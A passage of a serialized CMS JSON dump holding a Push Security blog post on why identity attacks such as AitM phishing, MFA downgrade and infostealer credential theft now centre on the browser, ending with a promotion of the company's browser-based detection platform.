Spider",{"data":124245,"marks":124246,"value":122827,"nodeType":865},{},[],{"data":124248,"content":124249,"nodeType":866},{},[124250],{"data":124251,"marks":124252,"value":124253,"nodeType":865},{},[],"These attacks are so successful because while attackers have moved with the changes to enterprise IT, security hasn’t really kept up. ",{"data":124255,"content":124259,"nodeType":925},{"target":124256},{"sys":124257},{"id":124258,"type":922,"linkType":923},"xH0ZqgKQXCRRZGYVs6xt6",[],{"data":124261,"content":124262,"nodeType":953},{},[],{"data":124264,"content":124265,"nodeType":963},{},[124266],{"data":124267,"marks":124268,"value":124270,"nodeType":865},{},[124269],{"type":961},"The browser is the new battleground — and a security blind spot",{"data":124272,"content":124273,"nodeType":866},{},[124274],{"data":124275,"marks":124276,"value":124277,"nodeType":865},{},[],"Taking over workforce identities is the first objective for attackers looking to target an organization, and the browser is the place where the attacks against users happen. This is because it’s where these digital identities are created and used — and their credentials and sessions live. This is what the attacker wants to get their hands on. ",{"data":124279,"content":124280,"nodeType":866},{},[124281],{"data":124282,"marks":124283,"value":124284,"nodeType":865},{},[],"Stolen credentials can be used as part of targeted attacks or in broader credential stuffing (cycling known username and credential pairs against various apps and platforms), while stolen session tokens can be used to log in directly to an active session, bypassing the authentication process. ",{"data":124286,"content":124287,"nodeType":866},{},[124288,124292,124297,124300,124305,124308,124313,124316,124321,124324,124329,124333,124338],{"data":124289,"marks":124290,"value":124291,"nodeType":865},{},[],"There are a few different techniques that attackers can use to get access to these identities. Attackers harvest stolen credentials from various places — ",{"data":124293,"marks":124294,"value":124296,"nodeType":865},{},[124295],{"type":961},"data breach dumps",{"data":124298,"marks":124299,"value":2186,"nodeType":865},{},[],{"data":124301,"marks":124302,"value":124304,"nodeType":865},{},[124303],{"type":961},"mass",{"data":124306,"marks":124307,"value":2157,"nodeType":865},{},[],{"data":124309,"marks":124310,"value":124312,"nodeType":865},{},[124311],{"type":961},"credential",{"data":124314,"marks":124315,"value":2157,"nodeType":865},{},[],{"data":124317,"marks":124318,"value":124320,"nodeType":865},{},[124319],{"type":961},"phishing campaigns,",{"data":124322,"marks":124323,"value":2157,"nodeType":865},{},[],{"data":124325,"marks":124326,"value":124328,"nodeType":865},{},[124327],{"type":961},"infostealer logs",{"data":124330,"marks":124331,"value":124332,"nodeType":865},{},[],", even ",{"data":124334,"marks":124335,"value":124337,"nodeType":865},{},[124336],{"type":961},"malicious browser extensions",{"data":124339,"marks":124340,"value":124341,"nodeType":865},{},[]," that they’ve tricked an employee into installing. In fact, the cyber crime ecosystem itself has shifted on its axis to cater to this, with hackers specifically taking on the role of harvesting credentials and establishing account access for others to exploit. ",{"data":124343,"content":124344,"nodeType":866},{},[124345,124349,124356],{"data":124346,"marks":124347,"value":124348,"nodeType":865},{},[],"The high-profile ",{"data":124350,"content":124351,"nodeType":882},{"uri":3904},[124352],{"data":124353,"marks":124354,"value":37719,"nodeType":865},{},[124355],{"type":997},{"data":124357,"marks":124358,"value":124359,"nodeType":865},{},[]," breaches in 2024 signalled a watershed moment in the shift to identity-driven breaches, where attackers logged into accounts across hundreds of customer tenants using stolen credentials. One of the primary sources of the stolen credentials used in the attacks were infostealer logs dating back to 2020 — breached passwords that hadn’t been rotated or mitigated with MFA. ",{"data":124361,"content":124362,"nodeType":866},{},[124363,124367],{"data":124364,"marks":124365,"value":124366,"nodeType":865},{},[],"Infostealers are notable because they’re an endpoint malware attack designed to harvest credentials and session tokens (often from the browser) to enable the attacker to then log into those services… through their own web browser. ",{"data":124368,"marks":124369,"value":124371,"nodeType":865},{},[124370],{"type":961},"So, even today’s endpoint attacks are seeing the attacker pivot back into the browser in order to get to identities — the key to the online apps and services where exploitable data and functionality now resides. ",{"data":124373,"content":124374,"nodeType":866},{},[124375],{"data":124376,"marks":124377,"value":124378,"nodeType":865},{},[],"The problem here is that this is a blind spot for the security tools we’re currently reliant upon — which don’t have the fine-grained visibility required. This is very similar to the challenge that the industry faced prior to the introduction of EDR in the 2010s — the main sources of data are looking from the outside-in, lacking the process-level visibility and context to be able to detect and stop attacks as they happen.",{"data":124380,"content":124384,"nodeType":925},{"target":124381},{"sys":124382},{"id":124383,"type":922,"linkType":923},"2qoMH6qCNJc7it7sTuKl4F",[],{"data":124386,"content":124387,"nodeType":953},{},[],{"data":124389,"content":124390,"nodeType":963},{},[124391],{"data":124392,"marks":124393,"value":124395,"nodeType":865},{},[124394],{"type":961},"Identity is the prize, browser is the platform — and phishing is the weapon of choice",{"data":124397,"content":124398,"nodeType":866},{},[124399,124403,124408],{"data":124400,"marks":124401,"value":124402,"nodeType":865},{},[],"But the technique that’s STILL driving the most impactful identity-driven breaches? ",{"data":124404,"marks":124405,"value":124407,"nodeType":865},{},[124406],{"type":961},"It’s phishing",{"data":124409,"marks":124410,"value":124411,"nodeType":865},{},[],". Phishing for credentials, sessions, OAuth consent, authorization codes. Phishing via email, instant messenger, social media, malicious Google ads… it all happens in, or leads to, the browser. ",{"data":124413,"content":124417,"nodeType":925},{"target":124414},{"sys":124415},{"id":124416,"type":922,"linkType":923},"6Gsd3G0sOibNxgVLimb2wV",[],{"data":124419,"content":124420,"nodeType":866},{},[124421],{"data":124422,"marks":124423,"value":124424,"nodeType":865},{},[],"And modern phishing attacks are more effective than ever. Today, phishing operates on an industrial scale, using an array of obfuscation and detection evasion techniques to block email and network security tools from intercepting them. Probably the most common example today is the use of bot protection (think CAPTCHA or Cloudflare Turnstile), using legitimate anti-spam features to block security tools. ",{"data":124426,"content":124430,"nodeType":925},{"target":124427},{"sys":124428},{"id":124429,"type":922,"linkType":923},"6M1My4lSKItu6Qdv4hO1RA",[],{"data":124432,"content":124433,"nodeType":866},{},[124434],{"data":124435,"marks":124436,"value":124437,"nodeType":865},{},[],"The latest generation of fully customized AitM phishing kits are dynamically obfuscating the code that loads the web page, implementing custom CAPTCHA, and using runtime anti-analysis features, making them increasingly difficult to detect. The ways in which links are delivered has also increased in sophistication, with more delivery channels (as we showed above) and the use of legitimate SaaS services for camouflage. ",{"data":124439,"content":124440,"nodeType":866},{},[124441,124445,124450,124454,124459,124463,124471],{"data":124442,"marks":124443,"value":124444,"nodeType":865},{},[],"And the latest trends indicate that attackers are responding to increasingly hardened IdP/SSO configuration by exploiting alternative phishing techniques that ",{"data":124446,"marks":124447,"value":124449,"nodeType":865},{},[124448],{"type":961},"circumvent MFA and passkeys",{"data":124451,"marks":124452,"value":124453,"nodeType":865},{},[],", most commonly by ",{"data":124455,"marks":124456,"value":124458,"nodeType":865},{},[124457],{"type":961},"downgrading to a phishable backup authentication method",{"data":124460,"marks":124461,"value":124462,"nodeType":865},{},[]," — which you can see in action below, and ",{"data":124464,"content":124465,"nodeType":882},{"uri":110423},[124466],{"data":124467,"marks":124468,"value":124470,"nodeType":865},{},[124469],{"type":997},"read more about here",{"data":124472,"marks":124473,"value":118574,"nodeType":865},{},[],{"data":124475,"content":124479,"nodeType":925},{"target":124476},{"sys":124477},{"id":124478,"type":922,"linkType":923},"54I3YQ2gK26a8FIocQ3WYT",[],{"data":124481,"content":124482,"nodeType":953},{},[],{"data":124484,"content":124485,"nodeType":963},{},[124486],{"data":124487,"marks":124488,"value":124490,"nodeType":865},{},[124489],{"type":961},"Identities are the lowest-hanging fruit for attackers to aim for",{"data":124492,"content":124493,"nodeType":866},{},[124494],{"data":124495,"marks":124496,"value":124497,"nodeType":865},{},[],"The goal of the modern attacker, and the easiest way into your business’s digital environment, is to compromise identities. Whether you’re dealing with phishing attacks, malicious browser extensions, or infostealer malware, the objective remains the same — account takeover. ",{"data":124499,"content":124500,"nodeType":866},{},[124501],{"data":124502,"marks":124503,"value":124504,"nodeType":865},{},[],"Organizations are dealing with a vast and vulnerable attack surface consisting of:",{"data":124506,"content":124507,"nodeType":1049},{},[124508,124529,124550,124570],{"data":124509,"content":124510,"nodeType":1003},{},[124511],{"data":124512,"content":124513,"nodeType":866},{},[124514,124517,124525],{"data":124515,"marks":124516,"value":21,"nodeType":865},{},[],{"data":124518,"content":124519,"nodeType":882},{"uri":10328},[124520],{"data":124521,"marks":124522,"value":124524,"nodeType":865},{},[124523],{"type":997},"Hundreds of applications, with thousands of accounts",{"data":124526,"marks":124527,"value":124528,"nodeType":865},{},[]," spread across the app estate.",{"data":124530,"content":124531,"nodeType":1003},{},[124532],{"data":124533,"content":124534,"nodeType":866},{},[124535,124539,124547],{"data":124536,"marks":124537,"value":124538,"nodeType":865},{},[],"Accounts vulnerable to MFA-bypass phishing kits, because they are using a login method that is not phishing-resistant, or because ",{"data":124540,"content":124541,"nodeType":882},{"uri":110423},[124542],{"data":124543,"marks":124544,"value":124546,"nodeType":865},{},[124545],{"type":997},"the login method can be downgraded",{"data":124548,"marks":124549,"value":1048,"nodeType":865},{},[],{"data":124551,"content":124552,"nodeType":1003},{},[124553],{"data":124554,"content":124555,"nodeType":866},{},[124556,124560,124567],{"data":124557,"marks":124558,"value":124559,"nodeType":865},{},[],"Accounts with a weak, reused, or breached password and no MFA altogether (usually the result of a forgotten-about ",{"data":124561,"content":124562,"nodeType":882},{"uri":74099},[124563],{"data":124564,"marks":124565,"value":87167,"nodeType":865},{},[124566],{"type":997},{"data":124568,"marks":124569,"value":112005,"nodeType":865},{},[],{"data":124571,"content":124572,"nodeType":1003},{},[124573],{"data":124574,"content":124575,"nodeType":866},{},[124576,124580,124588,124591,124600,124604,124611,124614,124623],{"data":124577,"marks":124578,"value":124579,"nodeType":865},{},[],"Bypassing the authentication process entirely to evade otherwise phishing-resistant authentication methods, by abusing features like ",{"data":124581,"content":124582,"nodeType":882},{"uri":121227},[124583],{"data":124584,"marks":124585,"value":124587,"nodeType":865},{},[124586],{"type":997},"API key creation",{"data":124589,"marks":124590,"value":2186,"nodeType":865},{},[],{"data":124592,"content":124594,"nodeType":882},{"uri":124593},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/app_specific_password_phishing/description.md",[124595],{"data":124596,"marks":124597,"value":124599,"nodeType":865},{},[124598],{"type":997},"app-specific passwords",{"data":124601,"marks":124602,"value":124603,"nodeType":865},{},[],", OAuth ",{"data":124605,"content":124606,"nodeType":882},{"uri":93156},[124607],{"data":124608,"marks":124609,"value":70557,"nodeType":865},{},[124610],{"type":997},{"data":124612,"marks":124613,"value":2186,"nodeType":865},{},[],{"data":124615,"content":124617,"nodeType":882},{"uri":124616},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/cross-idp_impersonation/description.md",[124618],{"data":124619,"marks":124620,"value":124622,"nodeType":865},{},[124621],{"type":997},"cross-IdP impersonation",{"data":124624,"marks":124625,"value":124626,"nodeType":865},{},[],", and more.  ",{"data":124628,"content":124632,"nodeType":925},{"target":124629},{"sys":124630},{"id":124631,"type":922,"linkType":923},"3WFzina1t5j6bDlTlGQA0l",[],{"data":124634,"content":124635,"nodeType":866},{},[124636,124640,124648,124652,124659],{"data":124637,"marks":124638,"value":124639,"nodeType":865},{},[],"A key driver of identity vulnerability is the ",{"data":124641,"content":124642,"nodeType":882},{"uri":29059},[124643],{"data":124644,"marks":124645,"value":124647,"nodeType":865},{},[124646],{"type":997},"huge variance in the configurability of accounts per application",{"data":124649,"marks":124650,"value":124651,"nodeType":865},{},[],", with different levels of centralized visibility and security control of identities provided — for example, while one app can be locked down to only accept SSO logins via SAML and automatically remove any unused passwords, another provides no control or visibility of login method or MFA status (another big driver of the ",{"data":124653,"content":124654,"nodeType":882},{"uri":3904},[124655],{"data":124656,"marks":124657,"value":37719,"nodeType":865},{},[124658],{"type":997},{"data":124660,"marks":124661,"value":124662,"nodeType":865},{},[]," breaches last year). Unfortunately, as a by-product of product-led growth and something that is compounded by every new SaaS startup that hits the market, this situation doesn’t look like it’s going to change anytime soon. ",{"data":124664,"content":124665,"nodeType":866},{},[124666],{"data":124667,"marks":124668,"value":124669,"nodeType":865},{},[],"The end result is that identities are misconfigured, invisible to the security team, and routinely exploited by commodity attacker tooling. It’s no surprise that they’re the primary target for attackers today. ",{"data":124671,"content":124672,"nodeType":953},{},[],{"data":124674,"content":124675,"nodeType":963},{},[124676],{"data":124677,"marks":124678,"value":124680,"nodeType":865},{},[124679],{"type":961},"The solution: The browser as a telemetry source and control point",{"data":124682,"content":124683,"nodeType":866},{},[124684],{"data":124685,"marks":124686,"value":124687,"nodeType":865},{},[],"Because identity attacks play out in the browser, it’s the perfect place for security teams to observe, intercept, and shut down these attacks. ",{"data":124689,"content":124690,"nodeType":866},{},[124691],{"data":124692,"marks":124693,"value":124694,"nodeType":865},{},[],"The browser has a number of advantages over the different places where identity can be observed and protected, because:",{"data":124696,"content":124697,"nodeType":1049},{},[124698,124708,124718],{"data":124699,"content":124700,"nodeType":1003},{},[124701],{"data":124702,"content":124703,"nodeType":866},{},[124704],{"data":124705,"marks":124706,"value":124707,"nodeType":865},{},[],"You aren’t limited to the apps and identities directly connected to your IdP (a fraction of your workforce identity sprawl). ",{"data":124709,"content":124710,"nodeType":1003},{},[124711],{"data":124712,"content":124713,"nodeType":866},{},[124714],{"data":124715,"marks":124716,"value":124717,"nodeType":865},{},[],"You aren’t limited to the apps that you know about and manage centrally — you can observe every login that passes through the browser.",{"data":124719,"content":124720,"nodeType":1003},{},[124721],{"data":124722,"content":124723,"nodeType":866},{},[124724,124728,124732],{"data":124725,"marks":124726,"value":124727,"nodeType":865},{},[],"You can observe all the properties of a login, including the login method, MFA method, etc. You’d otherwise need API access to ",{"data":124729,"marks":124730,"value":114242,"nodeType":865},{},[124731],{"type":944},{"data":124733,"marks":124734,"value":124735,"nodeType":865},{},[]," get this information (depending on whether an API is provided and whether this specific data can be interrogated, also not standard for many apps). ",{"data":124737,"content":124738,"nodeType":866},{},[124739,124743,124748,124752,124760],{"data":124740,"marks":124741,"value":124742,"nodeType":865},{},[],"It’s obvious with all that we’ve covered so far that fixing every identity vulnerability is an ominous task — the SaaS ecosystem itself is working against you. ",{"data":124744,"marks":124745,"value":124747,"nodeType":865},{},[124746],{"type":961},"This is why detecting and responding to identity attacks is essential. ",{"data":124749,"marks":124750,"value":124751,"nodeType":865},{},[],"Because identity compromise almost always involves phishing or social engineering a user to perform an action in their browser (with some exceptions — like the ",{"data":124753,"content":124754,"nodeType":882},{"uri":74298},[124755],{"data":124756,"marks":124757,"value":124759,"nodeType":865},{},[124758],{"type":997},"Scattered Spider-related help desk attacks",{"data":124761,"marks":124762,"value":124763,"nodeType":865},{},[]," seen recently), it’s also the perfect place to monitor for and intercept attacks. ",{"data":124765,"content":124766,"nodeType":866},{},[124767],{"data":124768,"marks":124769,"value":124770,"nodeType":865},{},[],"In the browser, you gather deep, contextualized information about page behavior and user inputs that can be used to detect and shut down risky scenarios in real time. Take the example of phishing pages. Because Push operates in the browser, it sees everything:",{"data":124772,"content":124773,"nodeType":1049},{},[124774,124784,124794,124804,124826,124836],{"data":124775,"content":124776,"nodeType":1003},{},[124777],{"data":124778,"content":124779,"nodeType":866},{},[124780],{"data":124781,"marks":124782,"value":124783,"nodeType":865},{},[],"The page layout.",{"data":124785,"content":124786,"nodeType":1003},{},[124787],{"data":124788,"content":124789,"nodeType":866},{},[124790],{"data":124791,"marks":124792,"value":124793,"nodeType":865},{},[],"Where the user came from (through the whole redirect chain).",{"data":124795,"content":124796,"nodeType":1003},{},[124797],{"data":124798,"content":124799,"nodeType":866},{},[124800],{"data":124801,"marks":124802,"value":124803,"nodeType":865},{},[],"Page interaction events — e.g. tabs opened and closed, popup windows, forms submitted, etc.",{"data":124805,"content":124806,"nodeType":1003},{},[124807],{"data":124808,"content":124809,"nodeType":866},{},[124810,124814,124822],{"data":124811,"marks":124812,"value":124813,"nodeType":865},{},[],"The password they enter ",{"data":124815,"content":124816,"nodeType":882},{"uri":123383},[124817],{"data":124818,"marks":124819,"value":124821,"nodeType":865},{},[124820],{"type":997},"(as a salted, abbreviated hash)",{"data":124823,"marks":124824,"value":124825,"nodeType":865},{},[],", and whether a password was typed or copied, and where from.",{"data":124827,"content":124828,"nodeType":1003},{},[124829],{"data":124830,"content":124831,"nodeType":866},{},[124832],{"data":124833,"marks":124834,"value":124835,"nodeType":865},{},[],"What scripts are running on the page and whether they are potentially malicious.",{"data":124837,"content":124838,"nodeType":1003},{},[124839],{"data":124840,"content":124841,"nodeType":866},{},[124842],{"data":124843,"marks":124844,"value":124845,"nodeType":865},{},[],"Where credentials are being sent.",{"data":124847,"content":124851,"nodeType":925},{"target":124848},{"sys":124849},{"id":124850,"type":922,"linkType":923},"6kQejVS63FQ6Oy8nIm6UlV",[],{"data":124853,"content":124854,"nodeType":953},{},[],{"data":124856,"content":124857,"nodeType":963},{},[124858],{"data":124859,"marks":124860,"value":100217,"nodeType":865},{},[124861],{"type":961},{"data":124863,"content":124864,"nodeType":866},{},[124865],{"data":124866,"marks":124867,"value":124868,"nodeType":865},{},[],"Identity attacks are the biggest unsolved problem facing security teams today and the leading cause of security breaches. At the same time, the browser presents security teams with all the tools they need to prevent, detect, and respond to identity-based attacks — proactively by finding and fixing identity vulnerabilities, and reactively by detecting and blocking attacks against users in real time. ",{"data":124870,"content":124871,"nodeType":866},{},[124872,124876,124885],{"data":124873,"marks":124874,"value":124875,"nodeType":865},{},[],"Organizations need to move past the old ways of doing identity security — relying on MFA attestations, identity management dashboards, and ",{"data":124877,"content":124879,"nodeType":882},{"uri":124878},"https://pushsecurity.com/blog/three-reasons-why-browser-is-best-for-stopping-phishing-attacks/",[124880],{"data":124881,"marks":124882,"value":124884,"nodeType":865},{},[124883],{"type":997},"legacy email and network anti-phishing tools",{"data":124886,"marks":124887,"value":124888,"nodeType":865},{},[],". And there’s no better place to stop these attacks than in the browser. ",{"data":124890,"content":124891,"nodeType":953},{},[],{"data":124893,"content":124894,"nodeType":963},{},[124895],{"data":124896,"marks":124897,"value":119226,"nodeType":865},{},[124898],{"type":961},{"data":124900,"content":124901,"nodeType":866},{},[124902],{"data":124903,"marks":124904,"value":124905,"nodeType":865},{},[],"Push Security’s browser-based security platform provides comprehensive detection and response capabilities against the leading cause of breaches. Push blocks identity attacks like AiTM phishing, credential stuffing, password spraying and session hijacking using stolen session tokens. You can also use Push to find and fix identity vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, risky OAuth integrations, and more.",{"data":124907,"content":124908,"nodeType":866},{},[124909,124912,124919],{"data":124910,"marks":124911,"value":115837,"nodeType":865},{},[],{"data":124913,"content":124914,"nodeType":882},{"uri":1728},[124915],{"data":124916,"marks":124917,"value":22730,"nodeType":865},{},[124918],{"type":997},{"data":124920,"marks":124921,"value":1048,"nodeType":865},{},[],"How the browser became the main cyber battleground","How attacks have moved away from endpoints and internal networks to the browser — a blind spot for traditional security tools.","2025-08-15T00:00:00.000Z","how-the-browser-became-the-main-cyber-battleground",{"items":124927},[124928,124930],{"sys":124929,"name":342},{"id":8410},{"sys":124931,"name":11426},{"id":11425},{"items":124933},[124934],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":124935},{"url":11434},"blog/6-browser-based-attacks-every-security-team-should-be-prepared-for",{"json":124938},{"data":124939,"content":124940,"nodeType":1739},{},[124941],{"data":124942,"content":124943,"nodeType":866},{},[124944],{"data":124945,"marks":124946,"value":124947,"nodeType":865},{},[],"What security teams need to know about the browser-based attack techniques that are the leading cause of breaches today.",{"id":115210,"publishedAt":124949},"2026-08-12T11:53:52.135Z",{"items":124951},[124952,124954],{"sys":124953,"name":11426},{"id":11425},{"sys":124955,"name":342},{"id":8410},{"items":124957},[124958,124960,124962,124964,124966,124968,124970,124972,124974,124976,124978,124980,124982,124984,124986,124988,124990,124992,124994,124996,124998,125000,125002],{"sys":124959,"name":279,"slug":280,"tier":31},{"id":276},{"sys":124961,"name":413,"slug":414,"tier":31},{"id":410},{"sys":124963,"name":297,"slug":298,"tier":31},{"id":294},{"sys":124965,"name":519,"slug":520,"tier":31},{"id":516},{"sys":124967,"name":342,"slug":343,"tier":31},{"id":339},{"sys":124969,"name":642,"slug":643,"tier":31},{"id":639},{"sys":124971,"name":261,"slug":262,"tier":45},{"id":258},{"sys":124973,"name":315,"slug":316,"tier":45},{"id":312},{"sys":124975,"name":571,"slug":572,"tier":45},{"id":568},{"sys":124977,"name":324,"slug":325,"tier":45},{"id":321},{"sys":124979,"name":466,"slug":467,"tier":45},{"id":463},{"sys":124981,"name":484,"slug":485,"tier":45},{"id":481},{"sys":124983,"name":288,"slug":289,"tier":45},{"id":285},{"sys":124985,"name":448,"slug":449,"tier":45},{"id":445},{"sys":124987,"name":333,"slug":334,"tier":45},{"id":330},{"sys":124989,"name":395,"slug":396,"tier":45},{"id":392},{"sys":124991,"name":422,"slug":423,"tier":45},{"id":419},{"sys":124993,"name":475,"slug":476,"tier":45},{"id":472},{"sys":124995,"name":360,"slug":361,"tier":45},{"id":357},{"sys":124997,"name":607,"slug":608,"tier":45},{"id":604},{"sys":124999,"name":511,"slug":512,"tier":45},{"id":508},{"sys":125001,"name":502,"slug":503,"tier":45},{"id":499},{"sys":125003,"name":457,"slug":458,"tier":45},{"id":454},"WL7qIr1ZFM800qYp8iPSNtZRoMC9xxn2kj9zNtQfvf4",1787040059828]